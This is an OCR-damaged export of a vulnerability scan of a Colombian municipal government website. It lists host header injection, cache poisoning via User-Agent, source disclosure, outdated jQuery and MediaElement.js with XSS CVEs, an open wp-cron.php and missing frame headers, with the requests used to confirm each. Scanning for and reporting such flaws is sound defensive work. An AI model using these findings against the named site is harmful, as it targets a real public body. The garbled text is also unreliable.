2010-A4, 2021-A3, 2013-A4, 2017-A5, 2019-API7, 2023-API8
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Host Header Injection Instances (1)

VULNERABILITY SB=sllligs  PLUGIN ID 98623

INSTANCE

https://chia-cundinamarca.gov.co/web/

Identification

PROOF
The header 'Host: tenabl ewasnZ8Dbt | nnV.conl has been injected and 'tenabl ewasnZ8Dbt | nnV. coni has been detected inside
the response body.

QUTPUT
Host header injection has been detected on https://chia-cundi namarca. gov. co/web/ using the injection
t enabl ewasn¥Z8Dbt I nnV. com i n HTTP header 'Host'.

HTTP Info

REQUEST MADE
GET /web/ HTTP/1.1

REQUEST HEADERS

Host: tenabl ewasnZ8Dbt | nnV. com

Accept - Encodi ng: gzip, deflate, br

User-Agent: Mdzillal/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTM., |ike Gecko) Chromne/124.0.6367.207 Safari/537.36
Accept: */*

Accept - Language: en-US, en; g=0.5

RESPONSE HEADERS

HTTP/ 1.1 404 Not Found

Server: nginx

Date: Thu, 19 Dec 2024 00:19:39 GVI
Cont ent - Type: text/htm
Transfer-Encodi ng: chunked
Connection: keep-alive

Vary: Accept - Encodi ng

Cache-Control : no-cache, no-store, nust-revalidate
Pragma: no-cache

Expires: 0

Cont ent - Encodi ng: gzi p
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Source Code Passive Disclosure

VULNERABILITY S=sllligs  PLUGIN ID 98779

Description

Scanner has detected server-side source code within the server's response.

A modern web application will be reliant on several different programming languages. These languages can be broken up in two
flavours. These are client-side languages (such as those that run in the browser -- like JavaScript) and server-side languages
(which are executed by the server -- like ASP, PHP, JSP, etc.) to form the dynamic pages(client-side code)that are then sent to
the client.

Because all server side code should be executed by the server, it should never be seen by the client, however in some scenarios
itis possible that the server has a misconfiguration or the server side code has syntax errors, and therefore is not executed by
the server but is instead sent to the client. As the server-side source code often contains sensitive information, such as
database connection strings or details into the application workflow, this can be extremely risky.

Cyber-criminals will attempt to discover pages that either accidentally or forcefully allow the server-side source code to be
disclosed, to assist in discovering further vulnerabilities or sensitive information.

Solution

It isimportant that the server does not deliver server side code to the client, and the server misconfiguration or server code
should be changed to prevent this.

See Also

Plugin Details

PUBLICATION DATE
MODIFICATION DATE

FAMILY Data Exposure
SEVERITY Medium
PLUGIN ID 98779
Risk Information
CVSSV4 BASE SCORE 6.9
CVSSV4 VECTOR CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
CVSSV3 BASE SCORE 5.3
CVSSV3 VECTOR CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/1:N/A:N
CVSS BASE SCORE 5.0
CVSS VECTOR CVSS2#AV:N/AC:L/Au:N/C:P/1:N/A:N

Reference Information

CWE
WASC

2018-12-19T00:00:00+00:00
2024-01-03700:00:00+00:00

540

Information Leakage
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OWASP 2017-A6, 2021-A1, 2010-A6, 2013-A5, 2023-API3, 2019-API3
CVE -
BID =
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Source Code Passive Disclosure Instances (1)

VULNERABILITY S=sllligs  PLUGIN ID 98779

INSTANCE

https://chia-cundinamarca.gov.co/web/wp-content/plugins/wordpress-seo/readme.txt

Identification

PROOF

The follow ng patterns were detected in the HTTP response body :
- <?php

OUTPUT

The scanner detected the presence of a 'PHP' source code in the web application response.

HTTP Info

REQUEST MADE
GET / web/ wp- cont ent/ pl ugi ns/ wor dpr ess-seo/ readne. txt HTTP/ 1.1

REQUEST HEADERS
Host: chi a- cundi namar ca. gov. co
Accept - Encodi ng: gzip, deflate, br

User-Agent: Mzillal/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36

Accept: */*
Accept - Language: en-US, en; g=0.5
Cooki e: googtrans=/es/it

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 00:38:41 GV

Cont ent - Type: text/plain

Transf er - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Last-Modified: Thu, 25 Jul 2024 23:02:08 GVI
Cont ent - Encodi ng: gzip
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jOuery 1.2.0 < 3.5.0 Cross-Site Scripting

VULNERABILITY SEsiifigs  PLUGIN ID 112383

Description

According to its self-reported version number, jQuery is at least 1.2.0 and prior to 3.5.0. Therefore, it may be affected by a cross-
site scripting vulnerability via the regex operation in jQuery.htmlPrefilter.

Note that the scanner has not tested for these issues but has instead relied only on the application's self-reported version
number.

Solution

Upgrade to jQuery version 3.5.0 or later.

See Also
https://blog.jquery.com/2020/04/10/jquery-3-5-0-released/
https://github.com/jquery/jquery/commit/1d61fd9407e6fbe82fe55cb0b938307aa0791f77

Plugin Details
PUBLICATION DATE 2020-05-14T00:00:00+00:00
MODIFICATION DATE 2023-03-14T00:00:00+00:00
FAMILY Component Vulnerability
SEVERITY Medium
PLUGINID 112383

Risk Information

CVSSV4 BASE SCORE =

CVSSV4 VECTOR -

CVSSV3 BASE SCORE 6.1

CVSSV3 VECTOR CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
CVSS BASE SCORE 4.3

CVSS VECTOR CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:N

Reference Information

CWE 79

WASC Cross-Site Scripting

OWASP 2021-A3, 2021-A6, 2010-A2, 2013-A3, 2013-A9, 2017-A7, 2017-A8, 2018-API7, 2023-API8
CVE CVE-2020-11022, CVE-2020-11023

BID =
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jOuery 1.2.0 < 3.5.0 Cross-Site Scripting Instances (1)

VULNERABILITY SEsiifigs  PLUGIN ID 112383

INSTANCE
https://chia-cundinamarca.gov.co/index.php/tramites-y-servicios/sisben

Identification

OUTPUT
Current Version: 1.12.4

Fi xed Version: 3.5.0
Detected technol ogy URL: https://chia-cundi namarca. gov. co/ i ndex. php/tranites-y-servicios/sisbhen
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jOuery 1.12.4 < 3.0.0 Cross-Site Scripting

VULNERABILITY SEsilligs  PLUGIN ID 112435

Description

According to its self-reported version number, jQuery is at least 1.4.0 and prior to 1.12.0 or at least 1.12.4 and prior to 3.0.0-betal.
Therefore, it may be affected by a cross-site scripting vulnerability due to cross-domain ajax request performed without the

dataType.

Note that the scanner has not tested for these issues but has instead relied only on the application's self-reported version

number.

Solution

Upgrade to jQuery version 3.0.0 or later.

See Also

https://github.com/jquery/jquery/issues/2432

https://github.com/jquery/jquery/pull/2588/commits/c254d308a7d3fleac4d0b42837804cfffchaibb?2

Plugin Details

PUBLICATION DATE
MODIFICATION DATE
FAMILY

SEVERITY
PLUGINID

Risk Information

CVSSV4 BASE SCORE
CVSSV4 VECTOR
CVSSV3 BASE SCORE
CVSSV3 VECTOR
CVSS BASE SCORE
CVSSVECTOR

Reference Information

CWE
WASC
OWASP
CVE
BID

2018-11-05T00:00:00+00:00
2023-03-14T00:00:00+00:00
Component Vulnerability
Medium

112435

6.1

CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

4.3

CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:N

79

Cross-Site Scripting

2021-A3, 2021-A6, 2010-A2, 2013-A3, 2013-A8, 2017-A7, 2017-A8, 2019-API7, 2023-API8

CVE-2015-9251

105658
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jOuery 1.12.4 < 3.0.0 Cross-Site Scripting Instances (1)

VULNERABILITY SEsilligs  PLUGIN ID 112435

INSTANCE
https://chia-cundinamarca.gov.co/index.php/tramites-y-servicios/sisben

Identification

OUTPUT
Current Version: 1.12.4

Fi xed Version: 3.0.0
Detected technol ogy URL: https://chia-cundi namarca. gov. co/ i ndex. php/tranites-y-servicios/sisbhen
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MediaElement.js < 2.21.1 Cross-Site Scripting

VULNERABILITY SEslifigs  PLUGIN ID 112556

Description

According to its self-reported version number, MediaElement.js is prior to 2.21.1. Therefore, it may be affected by a cross-site
scripting vulnerability in flashmediaelement.swf.

Note that the scanner has not tested for these issues but has instead relied only on the application's self-reported version

number.

Solution

Upgrade to MediaElement.js version 2.21.1 or later.

See Also

https://gist.github.com/cureb3/df34eab8c26441f3ae98f821balfeb9c

https://github.com/mediaelement/mediaelement/commit/34834eef8ac830b9145df169ec22016a4350f06e

Plugin Details

PUBLICATION DATE
MODIFICATION DATE
FAMILY

SEVERITY

PLUGIN ID

Risk Information

CVSSV4 BASE SCORE
CVSSV4 VECTOR
CVSSV3 BASE SCORE
CVSSV3 VECTOR
CVSS BASE SCORE
CVSS VECTOR

Reference Information

CWE
WASC
OWASP
CVE
BID

2018-02-18T00:00:00+00:00
2023-03-14T00:00:00+00:00
Component Vulnerability
Medium

112556

6.1
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
4.3

CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:N

79

Cross-Site Scripting

2021-A3, 2021-A6, 2010-A2, 2013-A3, 2013-A9, 2017-A7, 2017-A8, 2018-API7, 2023-API8
CVE-2016-4567

90300

Web Application Scanning Detailed Scan Export:
SCAN_PORTALES_ALCALDIA_CHIA_https://chia-cundinamarca.gov.co/

Page 46 of 348


https://gist.github.com/cure53/df34ea68c26441f3ae98f821ba1feb9c
https://github.com/mediaelement/mediaelement/commit/34834eef8ac830b9145df169ec22016a4350f06e

MediaElement.js < 2.21.1 Cross-Site Scripting Instances (1)

VULNERABILITY SEslifigs  PLUGIN ID 112556

INSTANCE

https://chia-cundinamarca.gov.co/index.php/tramites-y-servicios/sisben

Identification

OUTPUT

Current Version: 2.17.0

Fi xed Version: 2.21.1

Detected technol ogy URL: https://chia-cundi namarca. gov. co/ i ndex. php/tranites-y-servicios/sisbhen
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Web Cache Poisoning

VULNERABILITY SEsiifigs  PLUGIN ID 113338

Description

A caching system has been detected on the application and is vulnerable to web cache poisoning. By manipulating specific
unkeyed inputs (headers or cookies that are not included when generating the cache key) it was possible to force the caching
system to cache a response that contains user-controlled input. If aresponse is cached in a shared web cache, such as those
commonly found in proxy servers, then all users of that cache will continue to receive the malicious content until the cache

entry is purged.

Solution

Disable caching for the affected input or pages. If both the affected input and caching behavior are required, configure the
cache to ensure that the input is included in the cache key.

See Also

https://i.blackhat.com/us-18/Thu-August-9/us-18-Kettle-Practical-Web-Cache-Poisoning-Redefining-Unexploitable.pdf

https://owasp.org/www-community/attacks/Cache_Poisoning

Plugin Details

PUBLICATION DATE
MODIFICATION DATE
FAMILY

SEVERITY
PLUGINID

Risk Information

CVSSV4 BASE SCORE
CVSSV4 VECTOR
CVSSV3 BASE SCORE
CVSSV3 VECTOR
CVSS BASE SCORE
CVSSVECTOR

Reference Information

CWE
WASC
OWASP
CVE
BID

2022-09-06T00:00:00+00:00
2024-07-29T00:00:00+00:00
Web Applications

Medium

13338

7.2
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:H/SC:N/SI:N/SA:N
6.1

CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

5.8

CVSS2#AV:N/AC:M/Au:N/C:P/1:P/A:N

444
HTTP Request Smuggling
2021-A4, 2019-API17, 2023-API8
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Web Cache Poisoning Instances (1)

VULNERABILITY SEsiifigs  PLUGIN ID 113338

INSTANCE

https://chia-cundinamarca.gov.co/test.php

Identification

PROOF
The pattern was_662_bfeg was detected in the response body after injecting the header : 'User-Agent: was_662_bfeg'.

OUTPUT
The scanner was able to detect a Web Cache Poi soni ng through the header 'User-Agent'.

HTTP Info

REQUEST MADE
GET /test.php?cb=was_724_nndl HTTP/ 1.1

REQUEST HEADERS

Host: chi a- cundi namar ca. gov. co

Accept - Encodi ng: gzip, deflate, br

User - Agent: was_662_bf eg

Accept: */*

Accept - Language: en-US, en; g=0.5

Cooki e: googtrans=/es/it; cpsession=%8aHqQ 26kRGUsy2Bt J9%2c4b043945560f da9514b19964b4b5be4?2; ti nezone=Etc/ UTC

RESPONSE HEADERS

HTTP/ 1.1 200 K

Server: ngi nx

Date: Thu, 19 Dec 2024 02:28:53 GVl
Cont ent - Type: text/htm; charset=UTF-8
Transf er - Encodi ng: chunked

Connection: keep-alive

Vary: Accept - Encodi ng

Cont ent - Encodi ng: gzip
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WordPress Cron Enabled

VULNERABILITY S=Esllfigs  PLUGIN ID 113449

Description

The wp-cron.php file is responsible for scheduled events in a WordPress website. By default, when a request is made,
WordPress will generate an additional request from it to the wp-cron.php file. By generating a large number of requests to the
website, it is therefore possible to make the site perform a DoS attack on itself.

Solution

Add the variable DISABLE_WP_CRON to true in the file wp-config.php and restrict access to the file wp-cron.php.

See Also

https://medium.com/@thecpanelguy/the-nightmare-that-is-wpcron-php-ae3icld3ae30

Plugin Details

PUBLICATION DATE
MODIFICATION DATE
FAMILY

SEVERITY
PLUGINID

Risk Information

CVSSV4 BASE SCORE
CVSSV4 VECTOR
CVSSV3 BASE SCORE
CVSSV3 VECTOR
CVSS BASE SCORE
CVSSVECTOR

Reference Information

CWE
WASC
OWASP
CVE
BID

2022-12-21T00:00:00+00:00
2023-07-13700:00:00+00:00
Component Vulnerability
Medium

13449

5.3
CVSS:3.0/AV:A/AC:H/PR:N/UI:N/S:U/C:N/1:N/A:H
4.6

CVSS2#AV:A/AC:H/Au:N/C:N/1:N/A:C

400

Denial of Service

2021-A8, 2013-A8, 2017-A9, 2019-API7, 2023-API8
CVE-2023-22622
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WordPress Cron Enabled Instances (1)

VULNERABILITY S=Esllfigs  PLUGIN ID 113449

INSTANCE

https://chia-cundinamarca.gov.co/web/wp-cron.php

Identification

OUTPUT
The scanner was able to detect a WordPress instance with cron tasks enabl ed and accessible for any user.

HTTP Info

REQUEST MADE
POST /web/ wp-cron. php HTTP/ 1.1

REQUEST HEADERS

Host: chi a- cundi namar ca. gov. co

Accept - Encodi ng: gzip, deflate, br

User-Agent: Mdzillal/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTM., |ike Gecko) Chromne/124.0.6367.207 Safari/537.36
Accept: */*

Accept - Language: en-US, en; g=0.5

Cooki e: googtrans=/es/it

Content-Length: 0

Cont ent - Type: application/ x-ww f orm url encoded

RESPONSE HEADERS

HTTP/ 1.1 200 K

Server: nginx

Date: Thu, 19 Dec 2024 01:00:24 GVI

Cont ent - Type: text/htm; charset=UTF-8
Content-Length: O

Connection: keep-alive

Expires: Wed, 11 Jan 1984 05:00: 00 GMTI

Cache- Control: no-cache, must-revalidate, nax-age=0
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Missing 'X-Frame-Options' Header

VULNERABILITY PLUGIN ID 98060

Description

Clickjacking (User Interface redress attack, Ul redress attack, Ul redressing) is a malicious technique of tricking a Web user into
clicking on something different from what the user perceives they are clicking on, thus potentially revealing confidential

information or taking control of their computer while clicking on seemingly innocuous web pages.

The server didn't return an "X-Frame-Options” header which means that this website could be at risk of a clickjacking attack.

The X-Frame-Options HTTP response header can be used to indicate whether or not a browser should be allowed to render a
page inside a frame or iframe. Sites can use this to avoid clickjacking attacks, by ensuring that their content is not embedded

into other sites.

Solution

Configure your web server to include an "X-Frame-Options” header.

See Also

http://tools.ietf.org/html/rfc7034

https://developer.mozilla.org/en-US/docs/Web/HTTP/X-Frame-Options

https://www.owasp.org/index.php/Clickjacking

Plugin Details

PUBLICATION DATE
MODIFICATION DATE
FAMILY

SEVERITY

PLUGIN ID

Risk Information

CVSSV4 BASE SCORE
CVSSV4 VECTOR
CVSSV3 BASE SCORE
CVSSV3 VECTOR
CVSS BASE SCORE
CVSSVECTOR

Reference Information

CWE
WASC
OWASP
CVE

2017-03-31T00:00:00+00:00
2024-03-25T00:00:00+00:00
HTTP Security Header

Low

98060

3.1
CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:N/1:L/A:N
2.6

CVSS2#AV:N/AC:H/Au:N/C:N/1:P/A:N

1021, 346
Application Misconfiguration
2021-A7, 2017-A8, 2021-A4, 2013-A5, 2010-A8, 2023-API8, 2019-API7
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BID =
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Missing 'X-Frame-Options’' Header Instances (25)

VULNERABILITY PLUGIN ID 98060

INSTANCE

https://chia-cundinamarca.gov.co/web/2023/12/29/control-interno-disciplinario/

Identification

OUTPUT
Page https://chia-cundi namarca. gov. co/ web/ 2023/ 12/ 29/ control -i nt erno-di sci pli nari o/ has no X-Frane-Opti ons header
def i ned

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2023/ 12/ 29/ control -i nt erno-di sci pl i nari o/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- | nsecur e- Requests: 1

User-Agent: Myzillal/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom uni;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mobbil e: ?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 05:37:32 GVl

Cont ent - Type: text/htm; charset=UTF-8

Transfer-Encodi ng: chunked

Connection: keep-alive

Vary: Accept - Encodi ng

Li nk: <https://chi a-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w. org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/wp/ v2/ posts/ 616>; rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
[/ web/ ?p=616>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/ tri be/ events/vl/

X-TEC-API -ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE

https://chia-cundinamarca.gov.co/web/alcaldia/

Identification

OUTPUT
Page https://chia-cundi namarca. gov. co/ web/ al cal di a/ has no X- Frane- Qpti ons header defined

HTTP Info

REQUEST MADE
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https://chia-cundinamarca.gov.co/web/alcaldia/

GET https://chia-cundi namar ca. gov. co/ web/ al cal di a/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 2?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) Appl eWebKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom unt;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mbbi l e: 20

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; g=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: ngi nx

Date: Thu, 19 Dec 2024 02:45:09 GVI

Cont ent - Type: text/htm; charset=UTF-8

Transfer - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chia-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ pages/ 49>; rel="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
/web/ ?p=49>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/vl/

X-TEC- APl - ORIGA N: https://chia-cundi nanar ca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE
https://chia-cundinamarca.gov.co/web/

Identification

OUTPUT
Page https://chi a-cundi nanarca. gov. co/ web/ has no X-Frane- Options header defined

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch- User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom unt;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mbbi l e: 2?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: ngi nx

Date: Thu, 19 Dec 2024 00:15:28 GVl
Content - Type: text/htm; charset=UTF-8
Transfer - Encodi ng: chunked

Connection: keep-alive
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Vary: Accept-Encodi ng

Li nk: <https://chi a-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ pages/ 1107>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
/web/ >; rel=shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/ tri be/ events/vl/

X-TEC- APl - ORI G N: https://chia-cundi nanar ca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE

https://chia-cundinamarca.gov.co/web/2024/12/17/los-salones-de-artes-plasticas-abren-sus-puertas-para-el-arte-y-
cultura-en-chia/

Identification

OUTPUT
Page https://chia-cundi namar ca. gov. co/ web/ 2024/ 12/ 17/ 1 os- sal ones-de- art es-pl asti cas- abren-sus-puertas-para-el -arte-y-
cul tura-en-chia/ has no X-Frame-Options header defined

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2024/ 12/ 17/ 1 os- sal ones- de- art es- pl asti cas-abren-sus-puertas-para-el-arte-y-
cul tura-en-chial

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 2?1

Upgr ade- | nsecur e- Requests: 1

User-Agent: Mdzilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTM., |ike Gecko) Chromne/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom uni;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mbbil e: 2?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 K

Server: nginx

Date: Thu, 19 Dec 2024 07:35:13 GVl

Cont ent - Type: text/htm; charset=UTF-8

Transf er - Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chi a-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ posts/ 22370>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca. gov.co
[ web/ ?p=22370>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/ tribe/ events/vl/

X-TEC- APl - ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE

https://chia-cundinamarca.gov.co/web/2024/12/18/los-adultos-mayores-de-chia-se-gozaron-boyaca/

Identification
OUTPUT

Web Application Scanning Detailed Scan Export:
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https://chia-cundinamarca.gov.co/web/2024/12/17/los-salones-de-artes-plasticas-abren-sus-puertas-para-el-arte-y-cultura-en-chia/
https://chia-cundinamarca.gov.co/web/2024/12/17/los-salones-de-artes-plasticas-abren-sus-puertas-para-el-arte-y-cultura-en-chia/
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Page https://chia-cundi namar ca. gov. co/ web/ 2024/ 12/ 18/ 1 os- adul t os- mayor es- de- chi a- se- gozar on- boyaca/ has no X- Frane-
Options header defined

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2024/ 12/ 18/ | os- adul t os- mayor es- de- chi a- se- gozar on- boyaca/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- | nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWbKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom uni;v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"
Sec- Ch- Ua- Mobbil e: ?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: ngi nx

Date: Thu, 19 Dec 2024 07:21:39 GVl

Content-Type: text/htm; charset=UTF-8

Transfer-Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chi a-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/ wp/ v2/ post s/ 22400>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
[ web/ ?p=22400>; rel =shortlink

X- TEC- API - VERSI O\ v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/tribe/ events/v1l/

X-TEC-API -ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzi p

INSTANCE
https://chia-cundinamarca.gov.co/web/2024/02/26/impuesto-predial-unificado/

Identification

OUTPUT
Page https://chia-cundi nanar ca. gov. co/ web/ 2024/ 02/ 26/ i npuest o- predi al - uni fi cado/ has no X- Franme- Opti ons header defined

HTTP Info

REQUEST MADE
GET https://chia-cundi namarca. gov. co/ web/ 2024/ 02/ 26/ i npuest o- pr edi al - uni fi cado/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- | nsecur e- Requests: 1

User-Agent: Mzilla/5.0 (X11; Linux x86_64) AppleWebkKit/537.36 (KHTM., |ike Gecko) Chrone/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom uni;v="124", "Headl essChrone";v="124", "Not-A Brand";v="99"
Sec- Ch- Ua- Mbbil e: ?0

Sec- Ch-Ua- Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

Web Application Scanning Detailed Scan Export:
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RESPONSE HEADERS

HTTP/ 1.1 200 OK

Server: nginx

Date: Thu, 19 Dec 2024 06:17:33 GVl

Cont ent - Type: text/htm; charset=UTF-8

Transfer-Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chi a-cundi namar ca. gov. co/ web/ wp-j son/>; rel ="https://api.w org/", <https://chia-cundi namarca. gov. co/web
/wp-j son/wp/ v2/ posts/4113>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
/web/ ?p=4113>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/ tri be/ events/vl/

X-TEC-API -ORI G N: https://chia-cundi namar ca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE

https://chia-cundinamarca.gov.co/web/2024/08/24/paso-a-paso-para-acceder-a-su-estado-de-cuenta-liquidacion-y-
factura-de-los-impuestos-predial-e-ica/

Identification

OUTPUT
Page https://chi a-cundi namar ca. gov. co/ web/ 2024/ 08/ 24/ paso- a- paso- par a- acceder - a- su- est ado- de- cuent a- I i qui daci on-y-
factura-de-los-inpuestos-predial -e-ica/ has no X-Frane-Qpti ons header defined

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ 2024/ 08/ 24/ paso- a- paso- par a- acceder - a- su- est ado- de- cuent a- | i qui daci on-y-
factura-de-|os-inpuestos-predial -e-ical/

REQUEST HEADERS

Sec- Fet ch- Dest: docunent

Sec- Fet ch- Mbde: navi gate

Sec- Fetch-Site: none

Sec- Fetch-User: 7?1

Upgr ade- I nsecur e- Requests: 1

User-Agent: Mdzillal/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTM., |ike Gecko) Chrome/124.0.6367.207 Safari/537.36
Sec- Ch-Ua: "Chrom uni;v="124", "Headl essChrone";v="124", "Not-A. Brand";v="99"
Sec- Ch- Ua- Mobbil e: ?0

Sec- Ch-Ua-Pl atform "Linux"

Accept: */*

Accept - Language: en-US, en; q=0.5

RESPONSE HEADERS

HTTP/ 1.1 200 K

Server: nginx

Date: Thu, 19 Dec 2024 06:04:16 GVII

Cont ent - Type: text/htm; charset=UTF-8

Transfer-Encodi ng: chunked

Connection: keep-alive

Vary: Accept-Encodi ng

Li nk: <https://chi a-cundi namar ca. gov. co/ web/ wp-j son/>; rel="https://api.w org/", <https://chia-cundi namarca. gov. co/web
[/ wp-j son/ wp/ v2/ posts/ 18365>; rel ="alternate"; title="JSON'; type="application/json", <https://chia-cundi namarca.gov.co
/ web/ ?p=18365>; rel =shortlink

X- TEC- APl - VERSI ON: v1

X- TEC- APl - ROOT: https://chia-cundi namar ca. gov. co/ web/ wp-j son/ tri be/ events/vl/

X-TEC- APl - ORIGA N: https://chia-cundi nanar ca. gov. co/ web

Cont ent - Encodi ng: gzip

INSTANCE

Web Application Scanning Detailed Scan Export:
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https://chia-cundinamarca.gov.co/web/2024/08/24/paso-a-paso-para-acceder-a-su-estado-de-cuenta-liquidacion-y-factura-de-los-impuestos-predial-e-ica/
https://chia-cundinamarca.gov.co/web/2024/08/24/paso-a-paso-para-acceder-a-su-estado-de-cuenta-liquidacion-y-factura-de-los-impuestos-predial-e-ica/

https://chia-cundinamarca.gov.co/web/directorio/

Identification

OUTPUT
Page https://chi a-cundi namar ca. gov. co/ web/ directorio/ has no X-Frame-Options header defined

HTTP Info

REQUEST MADE
GET https://chia-cundi namar ca. gov. co/ web/ directori o/

REQUEST HEADERS

Referer: https://chia-cundi namarca. gov. co/ web/

